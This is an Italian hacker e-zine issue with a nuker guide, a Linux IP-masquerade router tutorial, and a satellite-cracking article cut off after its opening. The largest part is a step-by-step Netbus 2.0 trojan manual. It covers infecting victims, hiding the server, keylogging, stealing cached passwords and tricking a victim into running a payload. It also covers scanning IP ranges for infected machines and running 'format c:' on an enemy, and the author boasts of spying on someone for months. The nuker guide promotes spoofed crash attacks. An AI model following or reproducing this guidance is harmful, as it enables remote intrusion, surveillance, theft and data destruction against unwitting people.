[email protected] per Newbies Staff
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
AGGRESSOR
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
<-<-[ Aggressor, come usarlo in maniera profikua ]->->
In questo doc far• una specie di manuale d'uso all'Exploit Generator,
volgarmente conosciuto come Aggressor. Inanzitutto l'EG altro non Š che un
nuke. Fissatevi bene in testa questo. Per quanto si dica "ahhh serve a testare
le reti informatiche" le sue funzionalit… sono quelle, appunto, di un nuker,
sebbene molto potente.
<-<-[ Advanced Mode ]->->
L'Advanced Mode altro non Š che una modalit… di creazione dei propri pacchetti
ICMP. Questi pacchi ICMP possono essere creati sporchi o puri (li ho kiamati
io cos•, perch‚ kuello sporko Š kuello da nuke, kuello puro non fa un kazzo).
Il pacchetto sporco viene creato smacchinando un po' sulle dimensioni e sul
ICMP Header. L'ICMP header Š molto importante. Infatti Š possibile mandare il
famoso Protocol Unreachable, ma per alcuni Linux basta mandare un ICMP con
header ECHO_REPLY per crashare tutto. Purtroppo non ricordo dove ho letto sto
exploit, ma sicuramente non andr… pi—...(mmm non sono sicuro di quello che ho
detto, percio' prendetelo con le pinze...)
<-<-[ Simple Mode ]->->
Burn babe burn! E al grido del simpatico protagonista di Postal, ci lanciamo
a discernere sulla modalit… preferita da tutti noi NewBies: il Simple Mode!!!
Il SM altro non Š che una modalit… che manda pacchi sporchi gi… creati ad un
IP di nostra scelta. Nella versione 0.85 dell'EG Š possibile fare un gran
numero di attacchi, tra cui il gustoso Smurf. C'Š anche incorporato un
portscanner, ma Š estremamente lento, e preferisco quello di Rhad. I possibili
attacchi sono NesTea, Suffer3, Boink, Land, OOB, Smurf e poi il sopracitato
Portscan. Le opzioni sono tante ma le spiegher• nel dettaglio.
Iniziamo a discutere i campi fondamentali, che sono "Destination IP" (DIP) e
"Source IP" (SIP). Il primo campo mi sembra piuttosto intuitivo. Bisogna
inserire l'IP del marpione che andiamo a nukkare. Il SIP serve solo per gli
attacchi spoofati e inganna il nukkato facendogli credere che gli attacchi
arrivino da quell'IP (se il gioco riesce, se mettete 127.0.0.1 come SIP e
il nukkato Š lamer 100% DOC, appena contronukker… si distrugger… da solo...)
Accanto al SIP, ci sono tre tastini: HL, SC e BC. Il primo Š una Host List,
DOVREBBE essere una lista di host attraverso la quale Š possibile spoofare un
pacchetto. Il secondo Š il Packet Spoofing Style.
FINE PRIMA PARTE
SpYmAsTeR
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
NETBUS 2.0 PRO GUIDE
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
*****************************************************************************
Tempo impiegato: circa 6 ore
Cibi assunti: un pacchetto di Mikado e un pacchetto di caramelle gelatinose
alla fragola
Musica: Aerosmith (I don't want to miss a thing)
Pantera (Cowboys from hell, Cementery gates)
Dream theater (Innocence faded)
Marilyn Manson (I don't like the drugs [but the drugs like me])
Deep Purple (Highway star)
U2 (With or without you)
Tools usati: il cervello e la santa pazienza
*****************************************************************************
Salve a tutti sono Quequero, in questo articolo cerchero' di insegnarvi ad
usare al meglio tutte le funzioni del nuovo Netbus 2.0 Pro.
Bando alle ciance ed iniziamo.
Come tutti (o quasi) saprete il Netbus non e' altro che un trojan, cioe' uno di
quei programmilli che una volta avviati si annidano tra i file del vostro
computer e senza farsene accorgere si "autoeseguono" ogni volta che parte il
S.O., il trojan che stiamo per esaminare e' il piu' noto ma ce ne sono altri
(B.o.
per esempio), il programma, come nelle sue versioni precedenti, e' composto da
due file: NBSvr.exe (netbus server) e' il file che dovrete dare a chi volete
infettare e NetBus.exe che e' la console dalla quale agirete ;).
La prima volta che downlodiamo il proggy possiamo avviare tranquillamente
anche il server e non verremo infettati visto che questo file va' configurato,
facciamo quindi doppio click e vediamo cosa c'e': una finestra bianca e due
pulsanti in basso "settings" & "close" clickiamo su settings e vediamo cosa
appare:
Accept connections= se la casella di spunta e' segnata allora chiunque potra'
collegarsi al server senza chiedere il "permesso".
Run on port 20034= questa e' la porta che il Netbus usa di default per
connettersi
al server, possiamo anche mettere 33333 oppure 12255, insomma quello che volete,
questo e' un bel vantaggio dal momento che, se solo voi conoscete la porta della
vittima sulla quale "gira" il server, allora solo voi potrete connettervici :)
Password= bhe' credo che questa sia intuitiva, comunque se ne settate una come
ad esempio "porcomondo" quando tenterete di connettervi al server lui vi
chiedera' la pass e se non e' esatta allora.....NISBA. Ci siamo capiti?
Visibility of server= Questa finestra ci consente di far vedere il server
mentre e' in esecuzione, eccovi elencate le varie opzioni:
Fully visible= totalmente visibile, in pratica una normale finestra.
Minimize as trayicon= si vede l'icona del server solo sul systray
(dove sta l'orologio per capirci).
Only in tasklist= se viene selezionata questa allora ci accorgeremo
della presenza del server solo premendo ctrl+alt+canc
e guardando nella tasklist.
Fully invisible= totalmente invisibile, non si puo' vedere in
nessun modo ;))).
Access mode= questa opzione determina cio' che possiamo fare sul computer della
nostra cara vittima:
Basic access: possiamo solo guardare ma non toccare, in pratica
possiamo vedere i file ma non scaricarli, uplodarli o
cancellarli.
Spy mode access: possiamo agire in silenzio, possiamo uplodare
file, guardare nelle cartelle, ma non possiamo
cancellare o manipolare nulla.
Fully access: da qui possiamo fare tutto ma proprio tutto, come se
fossimo a casa nostra hehe ;)
Autostart every windows session= dice al patch di avviarsi ogni volta che si
avvia windows e per farlo mette questa stringa in regedit :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
"Netbus Server Pro"="C:\PROGRAMMI\NETBUS\NBSVR.EXE"
^---- Questa e' la locazione del patch e puo' cambiare
Quindi se avete capito, per disinfettarsi dal netbus basta andare al regedit
e cercare in questa locazione qualcosa di sospetto, se c'e' basta cancellare
la stringa (ricordando il nome del file che puo' cambiare) riavviare il computer
e cancellare quel file che "era" richiamato dalla stringa, avete capito? Se no
rileggete tutto ;)))
Adesso passiamo ad esaminare la console, in questa sezione non descrivero' tutti
i comandi uno per uno come per il server, ma sperimenteremo le varie sezioni
sul nostro amato pc.
Per prima cosa andiamo sul nostro server, settiamo la password a "ciauz" e
segniamo la casella "Accept connections".
Apriamo la console e registriamola andando nel pannello Help|Register ed
inserendo questi dati:
Your name:
Company:
Key:
NAG
Quello che volete (basta non lasciarlo vuoto)
FDDB7485
Fatto cio' proviamo a creare un nuovo "Host" cioe' settiamo tutte le opzioni
per poter entrare nel nostro computer, per farlo andate nel menu Host|New, ci
vengono chieste delle info che mi accingero' a spiegare:
Destination: Un nome che volete, io usero' Quequero
Host name/IP: Qui dovete inserire il nome dell'host (il vostro pc si chiama
"localhost") oppure l'ip corrispondente al nostro computer, cioe' 127.0.0.1
TCP-port: lasciamo quella di default
Username: lasciamolo com'e'
Password: ciauz
Clickiamo su ok e vediamo che appare un nuovo host oltre al primo chiamato
Quequero, adesso andiamo nella directory del Netbus ed avviamo il server,
fatto cio' clickiamo nella console sul terzo tasto in basso partendo da
sinistra (Conntect to Host), ora possiamo divertirci ad esaminare tutte le
funzionalita' di questo trojan.
Andiamo sul primo tasto in a destra (quello con l'icona della finestra) e
vediamo che possiamo scegliere due opzioni: System info e Cached password,
la prima opzione ci da' alcune informazioni riguardo il sistema operativo della
vittima e notizie sulla ram e cazzi vari, la seconda invece significa
letteralmente "password nascoste" e serve per mostrarvi le password nascoste
sul sistema del tizio infettato, non funziona pero' sotto winzozNT.
Il secondo pulsante fa apparire un menu dal quale possiamo mandare vari tipi
di messaggi (parliamo di messagebox, cioe' box ai quali si deve rispondere con
"si" "no" "forse", un esempio di messagebox e' quello che ci appare quando
vogliamo svuotare il cestino che ci chiede se vogliamo eliminare ad esempio
il file "Sleppa.jpg" ok? credo di si) e come se non bastasse possiamo anche
decidere le icone che appariranno (icona di stop, icona di informazione,
icona di domanda ecc...). Ovviamente possiamo decidere il testo che ci vorremo
inserire, i tasti che vogliamo far apparire e, manco a dirlo, netbus ci dira'
addirittura cosa ha risposto il malcapitato. Questo menu che a prima vista
sembra inutile o comunque solo "divertente" e' invece molto utile se usato nel
modo appropriato, pensate che una volta ad un tizio infettato col netbus 1.7
ho uppato il patch per il 2.0 e poi gli ho mandato un messaggio che recava
+o- le stesse parole "Microsoft(r) Windows(c) Message: Vai al prompt di MS-Dos
e digita: patch.exe, servira' a proteggerti dal rischio di disconnessione
durante l'imminente split del tuo server IRC."
Bhe' pensate che coglioni vanno in giro ;))))
Una cosa che dovete assolutamente evitare di fare e' di spedire messaggi con su
scritto frasi del tipo: "Formattazione in corso" oppure "Il tuo computer sta'
per esplodere" ecc... Infatti noi dovremmo entrare nel computer di qualcuno
in modo silenzioso, senza fargli accorgere della nostra presenza, se sarete
bravi potrete collegarvi a qualcuno per mesi prima che se ne accorga, io
stesso mi collegavo spesso ad un tipo e mi scaricavo dal suo cp molte cose
che trovava LUI sulla rete, dopo due mesi dovevo scambiare 16 mega di file
con un tipo e, non sapendo come fare, gli detti la password che usavo,
scambiammo tranquillamente tutto ma poi il mio amico si diverti' a fare
cazzate sul "server" e cosi' lui si disinfetto' quasi subito.
Tutti voi vi sarete preoccupati almeno una volta di come tradare file per la
rete, ma avevate mai pensato ad usare il netbus? Io credo di no...ringraziatemi
;)))
Le altre funzioni di questo menu non serve esplicarle visto che sono piu' che
intuitive, passiamo ora al 3ø pulsante.
Questo menu e' stata la vera evoluzione del Netbus, da qui potrete cancellare,
uplodare e copiare file a piacimento, basta ricordare che la parte alta della
finestra e' del nostro cp mentre quella bassa e' del computer remoto, (che
fatica trovare tutti questi sinonimi per non dire "vittima" ;) l'edit box con
scritto rispettivamente "local" e "remote" ci dice in quale dir ci troviamo,
il pulsante con disegnata la cartella ed una freccia serve a salire di livello
(in pratica ad andare nella directory superiore), l'altro serve a cancellare
un file e l'ultimo a creare una nuova directory, i pulsanti in basso a sinistra
servono invece a scaricare il file selezionato (dalla lista in basso) dal
computer
remoto oppure a caricare un file selezionato (dalla lista in alto) SUL computer
remoto, l'ultimo bottone serve a fare il refresh della schermata, close serve a
chiudere la finestra ;)...quasi dimenticavo, i file che vedete segnati con una
linea sono quelli nascosti.
4ø pulsante: "Window manager", da questa finestra potrete vedere tutto cioe' che
e' in esecuzione sul computer bersaglio, ma entriamo nel dettaglio ed esaminiamo
tutti i pulsanti.
Show only visible windows= mostra solo le finestre visibili (cioe' quelle che il
pollo ha al momento attive)
Show only named windows= letteralmente "mostra tutte le finestre nominate"
questa casella dovrebbe far vedere tutti processi attivi che sono sullo
schermo (nomi dei pulsanti sulla barra di office, icone sul systray ecc...)
se sono tutte e due deselezionate vedrete tutti i processi attivi, io vi
consiglio di utilizzare solo la prima.
Class= indica la classe del programma
Text= da qui possiamo vedere il testo che appare in alto a destra nelle varie
finestre, il bello e' che puo' essere cambiato, date slancio alla fantasia per
vedere cosa potete farci heheh;)))
Left, top= sono le coordinate del margine sinistro alto della finestra (il
computer indica come X la parte alta a partire da sinistra e che cresce verso
destra e come Y la parte in alto a sinistra del monitor che cresce verso il
basso, inutile che se avete la risoluzione a 800x600 la X massima sara' 800 e
la Y massima sara' 600)
Width, Height= le coordinate della finestra
Pwd char= se c'e' una finestra che puo' contenere una password allora da qui
potete vedere con quale tipo di carattere sono sostituite le lettere e/o i
numeri in genere e' "*".
Is visible= se la casella non e' segnata allora la finestra selezionata in alto
scomparira' e tornera' visibile solo se segnate la casella di spunta
Is enabled= se non e' segnata allora la finestra selezionata verra' disabilitata
e non potrete entrarvici
Is checked= bho!
Always on top= la finestra resta sempre in primo piano
Close= chiude la finestra
Focus= ora vi spiego, la finestra in qui state agendo ha il focus, cioe' la
barra
in alto e' blu invece che grigia, (cavolo che spiegazione) se voi selezionate
una
finestra a piacimento e clickate su questo tasto allora al malcapitato
scomparira'
la finestra che ha il focus (magari quella del mirc se sta' chattando su ircnet)
e
gli comparira' quella del sito porno dove sta' aspettando che l'immagine finisca
di
aprirsi....capito PoRcI!!! ;)
Pulsante nø5: Registry Manager, da qui potrete navigare nel registro del
cog**one
e trovare magari qualche password. Per entrare nelle varie directory dovrete
inserirne manualmente una di partenza cosi' come ve le elenco:
\HKEY_CLASSES_ROOT
\HKEY_CURRENT_USER
\HKEY_LOCAL_MACHINE
\HKEY_USERS
\HKEY_CURRENT_CONFIG
\HKEY_DYN_DATA
una volta trovata una directory che ci piace possiamo inserire o cancellare dal
menu "Options" nuovi valori o nuove chiavi.
Pulsante nø6: Sound system, da qui si puo' abbassare o alzare i vari volumi sul
computer remoto, (a mio modesto parere credo che potevano anche risparmiarsi
la fatica di aggiungere questa opzione ) vista la semplicita' e l'intuitivita'
dei vari comandi non mi dilunghero' ulteriormente.
Pulsantino nø7: Plugin manager, se avete dei plug-in per Netbus potrete avviarli
da qui.
Pulsantello nø8: Port redirect, puo' essere utilizzato come un piccolo server
proxy in quanto redirige i dati da una porta ad un'altra provate a fare qualcosa
e capirete ;))
Button nø9: Application redirect, questa meravigliosa opzione ci consente di
redirigere il command.com o il cmd.exe se si usa winzozNT, ma a quale utilita'?
Semplicissimo, scrivete nella prima casella"c:\windows\command.com" (ricordate
che dovete essere collegati al vostro computer tramite il server per eseguire
le operazioni) e clickate su "Start app", come per magia avrete un prompt di
dos remoto da utilizzare eccovi un esempio pratico, se la vostra vittima e' un
nemico e si trova sulla vostra blacklist allora redirigete il command.com e
scrivete format c: /autotest
dhehihi miiitico!
Pulsantes numeros 10: File actions, il menu in questione si divide in 5
sottomenu:
Execute file= esegue un file
Play sound= esegue un suono
Show image= mostra un immagine
Open document= apre un documento
Print document= stampa un documento
Non deridetemi perche' descrivo anche queste cose, ma dal momento che mi e'
stato chiesto di scrivere una guida dettagliata sul Netbus 2.0 pro io la sto
facendo!!! ;)))
Bottoncino nø11: Spy functions, anche questo si divide in alcuni sottomenu,
4 per la precisione:
Keyboard listen= ci mostra che tasti sono stati premuti sul cp remoto
Capture screen image= cattura l'immagine attualmente presente sul cp remoto
Capture camera video= cattura l'immagine di una telecamera (se presente e
attiva)
Record sound= registra i suoni che percepisce il microfono del computer
Numero 12
Presente
Vai alla lavagna
no! Mi so' giustificato
Allora ti metto impreparato
e io ti do' fuoco alla casa
Io so' ricco e ne tengo 2 di case
allora di do' fuoco alla moglie
Mi faresti solo un favore
vabbe' mi arrendo.....scusi ma lei che macchina ha?
Un Mercedes
Quanto l'ha pagato?
80 milioni
Che per caso la targa e' AX 789 GB?
Si perche'?
No.....cosi'...tanto per sapere!!!
Basta con le cazzate, questo menu serve a spegnere il computer, resettare ecc
ecc ecc...
13 A lavoro!!!: Cool functions, ha 6 sottomenu ecco a cosa servono (ufff non
ce la faccio +)
Client chat= manda alla vittima di messagebox recanti i nostri messaggi
CD-ROM=apre e chiude il cd-rom, sembra stupido ma fa impaurire molta gente
Keyboard= da qui possiamo decidere se disabilitare qualche lettera della
tastiera, (provate a disabilitare la "a" e la "e" ;) possiamo anche far
emettere un suono ogni volta che un tasto e' premuto, (questo e' mentalmente
DEVASTANTE) oppure possiamo riabilitare tutto
Mouse= scambiamo il tasto che usiamo per fare il normale click con quell'altro
e possiamo riabilitare i tasti normali
Go to URL= apre un browser e va ad un url a NOSTRO piacimento, provate ad
aprire 15-20 browser e vedrete il divertimento
Send text= il pollo sta' su IRC? Bene mentre parla con qualcunA <---notare la
maiuscola, cliccate su questa funzione e scrivete cose come: "quanto vuoi?"
"io sono gay e tu?" "vuoi ballare il mambo del materasso con me?", ricordate
di inserire questo simblo per far premere automaticamente invio '~', dopo cio'
vi garantisco che ne vedrete delle belle, non ci credete? Chiedetemi qualche
log ;)))))
14! Agli ordini: Settings che e' diviso in due menu a tendina cioe':
General=da qui si puo' scegliere la directory di download, cioe' quella in cui
vengono messi i file che avete scaricato dal server, la lingua e se volete
comprimere i file durante il trasferimento (io l'ho selezionata).
"Network"= qui avrete davanti due opzioni
I am not behind a firewall or proxy=se generalmente non usate un sock
selezionate questa
I am behind a SOCKS4 compatible proxy=se invece lo usate selezionate questa,
nel campo host inserite l'indirizzo del proxy, per porta usate la 1080 visto
che per la maggior parte delle volte va bene e cancellate l'user id che e'
presente lasciando il campo vuoto
N.B
Se non sai cosa mettere usa la prima visto che solo i + esperti lo fanno ;)
15: Selezionate un host e cliccate qui per connettervici
16: Disconnect from host, indovinate un po'?
17: crea un nuovo host
18: Find Host: avete molti soldi e potete stare collegati su Internet per
molto tempo? Bhe' beati voi, io non posso! A parte tutto questo tasto avvia
uno scan e vi trova tutti i polli infetti con il Netbus 2.0, (ricordate che
netbus 1.6 e 1.7 non sono compatibili col 2.0) ma andiamo a vedere in dettaglio
come funziona:
Scan from: ci chiede da quale "range" di IP vogliamo iniziare a scannare la
rete, io consiglio 212.216.1.1 (se avete tempo anche da 212.1.1.1)
to: qui inseriamo il range fino al quale vogliamo arrivare se avete usato
come IP di partenza 212.216.1.1 allora metterete 212.255.255
TCP-port: la porta che volete scannare, lasciate quella di default
Sockets: 10 o 20
Found components: questa e' la lista dei componenti che lo scan e' riuscito a
trovare, gli IP elencati li dovrete inserire nel campo "Host name/IP" che
abbiamo incontato precedentemente quando abbiamo creato un nuovo Host
18 ultima fermataaaaaa: da qui potrete programmare delle azioni da compiere
sul computer host della vittima, e' una sorta di tabella di marcia che fa
determinate cose (da voi scelte) a determinate ore, ecco la tabella delle
opzioni disponibili:
Command
Param1
Param2
MessageBox
DeleteFile
NewFolder
DownloadFile
UploadFile
AddRegData
DeleteRegName
RunPlugin
ExecuteFile
PlaySound
ShowImage
OpenCD 1
ExitWindows
DisableKeys
KeyClick
SendText
SwapMouse
Information
C:\Temp.tmp
C:\New
C:\RemoteFolder\File.txt
C:\RemoteFolder
\hkey_local_user\temp
\hkey_local_user\temp
Plugin.dll
C:\Job.bat
C:\suoni\Sound.wav
C:\porno\Image.jpg
Incontriamoci alle 12.
C:\LocalFolder
C:\LocalFolder\File.txt
Peppino
StringName
EntryPoint
Param3
ciao
Params
ABC
1
ABC
1
Negli esempi con "1" si intende "vero" (e' il classico valore booleano
vero/falso)
("0" significa falso).
Ora spieghero' tutto, la colonna "Command" elenca tutti i comandi disponibili e
che sono "standard", la colonna "Param1" indica il comando da eseguire e cosi'
via per le altre colonne ecco qualche esempio:
Nel primo caso creiamo un Messagebox con l'icona di informazione e recante il
messaggio "Incontriamoci alle 12"
Nel secondo caso cancelliamo un file sul disco C che si chiama temp.tmp
Nel terzo caso creiamo una cartella che si chiama new
Nel quarto caso scarichiamo un file dall'host che si trova in
C:\RemoteFolder\File.txt e lo mettiamo in C:\LocalFolder sul nostro pc
Nel 5ø caso creiamo una chiave nel registro di winzoz in
\hkey_local_user\temp, la chiamiamo "Peppino" e ci infiliamo dentro la stringa
"ciao" e cosi' via per gli altri OKI?
Vediamo ora come si puo' uplodare un vecchio patch e cosa possiamo fare nel
computer "Amico".
Aggiornare il patch dalle versioni precedenti del Netbus a quella nuova e'
semplicissimo, basta connettersi ad un Host, uppare il nuovo patch e dal
comando "Start program" (dal momento che siamo connessi con la versione
vecchia dovremo far partire il patch con la console vecchia) scrivere ad
esempio "c:\patch.exe" e dovrebbe andare bene, ma perche' uso il condizionale?
Bhe' il motivo c'e' ed e' anche molto importante. Qualche giorno fa' ho
aggiornato
ad un tizio il patch con quello nuovo, ma non capivo come mai non riuscivo a
connettermi, prima di far eseguire il server sul computer Host l'avevo
configurato in modo da far accettare automaticamente la connessione e da
renderlo invisibile. Nonostante tutto la connessione non avveniva, ma perche'?
Io credevo che il server salvasse tutti i settaggi all'interno del file stesso,
ma la realta' non e' stata questa infatti tutti le opzioni vengono salvate
all'interno del registro di winzoz e quindi il tipo che ho usato come cavia
molto probabilmente avra' visto apparire davanti ai propri occhi un programmino
che gli chiedeva di accettare una connessione a qualcuno, e senza pensarci due
volte ha chiuso il programma, come rimediamo a questo inconveniente?
Risposta: creando noi stessi un programmino che crei nel registro del nostro
amico tutti i settaggi necessari (vi ricordo che io sto usando la versione 2.0b
e non so' se esistono altre versioni, quindi se il problema e' stato risolto
fatemelo sapere).
Vorrei molto darvi il codice del programma, lo stavo creando ma, per qualche
motivo a me ignoto, quando scrivo #include <winreg.h> dopo la compilazione ho
la modica cifra di 102 errori, sto' inkazzatissimo e spero di potervi fornire
in seguito il codice.
Prima di chiudere vorrei darvi gli ultimi consigli, avete presente l'icona
del netbus server, vi suggerisco di toglierla usando ad esempio un tool come
Borland Resource Workshop o simili, vi aiutera' molto a non destare sospetti,
andate anche a spulciare il registro di winzoz per scovare qualche password
e aprite sempre il "Keyboard listen" che puo' regalarvi molte sorprese, inoltre
se credete che qualcuno sia nel vostro computer provate a nukare la porta 12345
se credete che l'intruso stia usando il Netbus 1.6-1.7 e la porta 20034 se
credete che stia usando invece il Netbus 2.0, se proprio non smettono di farvi
scherzi (o volete semplicemente verificare che qualcuno sia effettivamente sul
vostro cp) provate ad avviare "netstat" dal prompt di dos (se avete winzoz
bastera' scrivere netstat al prompt) e lui vi dira' tutte le porte a cui siete
connessi, se vedete la porta 80 non vi preoccupate perche' e' quella e' del web,
ma se vedete porte sospette nukatele e vi assicuro che tutti i guai
termineranno.
;))))
Ciauzzzzzzz da Quequero
P.S.
Vorrei rignraziare la mia adorata Francesca che mi sopporta ormai da due anni,
vorrei ringraziare anche Neural_Noise perche' e' sulla faccia della terra e
+Malattia perche' e' sempre molto disponibile con me, ciauzzzzzz
P.S.S
Ringrazio e saluto anche Nobody88 che mi ha dato l'opportunita' di scrivere in
questa e-zine (anche se se ne pentira' ;)
P.S.S.S
Se avete commenti da fare o volete mandarmi qualche bestemmia nuova e/o
particolarmente coreografica oppure volete dirmi "Grazie Quequero mi hai
aperto un mondo nuovo" (hehe magari ;) scrivete a [email protected]
e tanto che ci siete visitate anche il mio sito http://quequero.cjb.net
ariciauzzzzzz
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ BREVI SAGGI DI NETWORKING SOTTO LINUX ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Articolo redatto da Alpha-666 o Zeros
Irc.tin.it #hackernow
Articolo Nø1
Configurazione del router Linux
In questo e nei prossimi articoli tratteremo come rendere un proprio computer
Linux in un vero e proprio server per reti locali.Tramite un server Linux e'
possibile far collegare contemporaneamente tutti gli utenti di una rete locale
a Internet disponendo di un solo abbonamento a un ISP. A tal fine e' necessario
che il sistema operativo Linux sia stato compilato con la funzione IP
Masquerade abilitata'. In questo caso il server Linux funziona da gateway per
la rete locale e nasconde all'esterno i computer interni. Dunque il Provaider
vedra' solo il server Linux. Una rete che accede a Internet sfruttanndo la
funzione IP Masquerade di un server Linux, se configurata correttamente, puo'
avere una sicurezza superiore a quella di una rete protetta con firewall. I
computer della rete locale possono essere dotati di sistemi operativi
differenti ad esempio Windows 95, Windows NT, Mac, Linux e cosi' via. La
procedura e' molto semplice:
1)Il server Linux server.retel si colleghi tramite il protocollo PPP a un ISP
che assegna ai client un indirizzo IP dinamico;
2)I computer della rete locale abbiano indirizzi IP delle rete che non si
collegano a Internet esempio:
192.168.1.10 server.retel
192.168.1.11 num1.retel
192.168.1.12 num2.retel
192.168.1.13 num3.retel
3)il server Linux server.retel sia anche configurato come DNS server per la
rete locale, poi vedremo come in assenza di DNS interno sara' possibile
utilizzare quello dell'ISP configurato adeguatamente come tutti i computer
della rete interna.
Configurazione del router Linux server.retel
1)Installare il software per ottenere la funzione IP Masquerading:
rpm -ivh ipfwadm-2.3.0-6i386.rpm
oppure specificando il percorso completo:
rpm -ivh /mnt/cdrom/RedHat/RPMS/ipfwadm-2.3.0-6.i386.rpm
2)Modificare il file /etc/sysconfig/network per abilitare il server Linux a
instradare i pacchetti IP (cioe' a eseguire il "forwarding" dei pacchetti)
sostituendo la riga
FORWARD_IPV4=false
con :
FORWARD_IPV4=true
3)Create un nuovo file /etc/ppp/ip-up.local e fate in modo che abbia gli
stessi permessi del file /etc/ppp/ip-up. Per fare cio' basta fare eseguire il
seguente comando: cp /etc/ppp/ip-up /etc/ppp/ip-up.local. Il file
/etc/ppp/ip-up e' uno script che viene eseguito subito dopo l'attivazione
dell'interfaccia PPP. Subito dopo di questo per default viene eseguito lo
script /etc/ppp/ip-up.local il quale deve contenere esclusivamente le
seguenti righe relative alle regole di instardamento, comunque se volete
potete immetere in una shell i comandi ipfwadm riportati qui di seguito:
#!/bin/bash
ipfwadm -F -p deny
ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0
che hanno il seguente significato
idfwadm -F -p deny:
-F e' il parametro per impostare le regole di instradamento
-p e' il parametro per modificare le regole di instradamento
deny si usa per impedire l'instardamento dei pacchetti
ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0 e' una forma particolare di:
ipfwadm -F -a m -S xxx.xxx.xxx.xxx/y -D 0.0.0.0/0
dove xxx.xxx.xxx.xxx e' l'IP della rete locale, mentre y assume il seguente
valore in funzione del netmask:
Netmask
locale
255.0.0.0
255.255.0.0
255.255.255.0
255.255.255.255
X
Tipo di collegamento fra router e computer della rete
8
18
24
32
Classe A
Classe B
Classe C
Point-to-Point
-F e' il parametro per impostare le regole di instradamento;
-a serve per aggiungere nuove regole di instradamento alle precedenti
impostate;
-m chiede di attivare la funzione masquerade sui pacchetti da instradare, che
appariranno come se fossero partiti dal server Linux anziche' dai computer
della rete locale interna;
-S serve per specificare la sorgente dei pacchetti da instradare verso
l'esterno nella forma indirizzo rete locale/netmask, come specificato sopra
xxx.xxx.xxx.xxx/y;
-D si usa per specificare il destinatario dei pacchetti da installare.
0.0.0.0/0 si usa per indicare qualsiasi destinatario.
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ TV HACKING E SATELLITE CRACKING ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Hello a tutti oggi mi sento molto scazzato cmq voglio introdurvi alla
tematica del tv hacking e del satellite craking.
Prima di iniziare prepongo che mi son documentato molto sull'argomento grazie
soppratutto a vari gruppi americani: Dss , hybrid , acidline ,noiseSPeaKEr
che secondo me posso essere considerati nell'elite della scena.
Ringraziandoli metre leggeranno la mia squallida trad di questo articolo ,
ringrazio in particolare DssMaker E freeKev.
Allora iniziamo col caro tv hacking esistono ovviamente dei cari prog che
consentono la decodifica dei dati ovviamente cryptati.
Bhe io mi son chiesto ma come cazz fate ad avere le info e la risposta
ovviamente : "lavoriamo nell' ambiente o abbiamo dei manuali" [un poco me
la aspettavo].
Bhe per quanto riguarda la documentazione ne trovate a terabyte veramente
e anche i prog.
Una bella ricerca su astalavista su tv hack , pay tv , satellite hobbist .
Mha ora in particolare che cazz bisogna avere per il tv hacking bhe una cara
